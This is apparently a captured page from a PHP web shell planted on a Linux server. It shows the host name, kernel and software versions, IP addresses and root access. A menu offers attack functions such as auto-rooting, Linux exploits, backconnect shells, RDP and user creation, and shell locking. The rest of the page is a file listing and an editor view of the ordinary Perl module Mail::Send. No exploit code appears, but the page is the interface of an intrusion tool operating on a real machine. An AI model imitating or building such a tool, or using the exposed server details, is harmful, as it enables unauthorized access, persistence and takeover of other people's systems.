Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
[ HOME SHELL ]
Name
Size
Permission
Action
Field
[ DIR ]
drwxr-xr-x
Mailer
[ DIR ]
drwxr-xr-x
Address.pm
6.66
KB
-rw-r--r--
Address.pod
3.71
KB
-rw-r--r--
Cap.pm
6.17
KB
-rw-r--r--
Cap.pod
3.74
KB
-rw-r--r--
Field.pm
4.68
KB
-rw-r--r--
Field.pod
4.9
KB
-rw-r--r--
Filter.pm
1.23
KB
-rw-r--r--
Filter.pod
2.79
KB
-rw-r--r--
Header.pm
14.02
KB
-rw-r--r--
Header.pod
7.72
KB
-rw-r--r--
Internet.pm
12
KB
-rw-r--r--
Internet.pod
10.31
KB
-rw-r--r--
Mailer.pm
4.73
KB
-rw-r--r--
Mailer.pod
3.88
KB
-rw-r--r--
Send.pm
1.13
KB
-rw-r--r--
Send.pod
2.8
KB
-rw-r--r--
Util.pm
3.14
KB
-rw-r--r--
Util.pod
3.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Send.pm
# Copyrights 1995-2016 by [Mark Overmeer <perl@overmeer.net>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. use strict; package Mail::Send; use vars '$VERSION'; $VERSION = '2.18'; use Carp; require Mail::Mailer; sub Version { our $VERSION } sub new(@) { my ($class, %attr) = @_; my $self = bless {}, $class; while(my($key, $value) = each %attr) { $key = lc $key; $self->$key($value); } $self; } sub set($@) { my ($self, $hdr, @values) = @_; $self->{$hdr} = [ @values ] if @values; @{$self->{$hdr} || []}; # return new (or original) values } sub add($@) { my ($self, $hdr, @values) = @_; push @{$self->{$hdr}}, @values; } sub delete($) { my($self, $hdr) = @_; delete $self->{$hdr}; } sub to { my $self=shift; $self->set('To', @_); } sub cc { my $self=shift; $self->set('Cc', @_); } sub bcc { my $self=shift; $self->set('Bcc', @_); } sub subject { my $self=shift; $self->set('Subject', join (' ', @_)); } sub open(@) { my $self = shift; Mail::Mailer->new(@_)->open($self); } 1;
Close
